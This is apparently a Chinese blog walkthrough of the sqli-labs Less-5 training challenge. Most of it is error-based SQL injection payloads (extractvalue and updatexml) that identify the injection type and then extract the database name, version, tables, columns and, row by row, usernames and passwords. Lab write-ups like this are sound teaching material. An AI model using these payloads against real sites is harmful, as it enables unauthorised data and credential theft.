5.sqli-labs-Less5

一、判断注入类型:

?id=1
//回显:You are in…

?id=1’
//字符型注入,limit限制

?id=1’and’1 //回显you are in…
?id=1’and’1’=‘2 //不回显you are in…
?id=1’or’1 //回显you are in…
?id=1’or’1’='2 //回显you are in…
//很明显结果被处理为you are in…了

?id=1’or’1’#
?id=1’or’1’–
//都报语法错误,注释符被过滤

二、爆库

?id=1’and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1
?id=1’and extractvalue(1,concat(0x7e,(select user()),0x7e)) and '1
?id=1’and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1
?id=1’and updatexml(1,concat(0x7e,(select @@basedir),0x7e),1) and '1

三、爆表

?id=1’and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)) and '1

四、爆字段

?id=1’and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e),1) and '1

五、爆字段值:

?id=1’and extractvalue(1,concat(0x7e,(select group_concat(concat_ws(char(32,58,32),id,username,password)) from users),0x7e)) and '1
或者:
?id=1’and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1) and '1
//但是,都回显不全

//修改:把group_concat()一次性显示完替换为:concat()+limit形式的,就可以一个一个的回显
?id=1’and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) and '1
?id=1’and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1) and '1
?id=1’and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 2,1),0x7e),1) and '1

发布了148 篇原创文章 · 获赞 34 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_45555226/article/details/104843477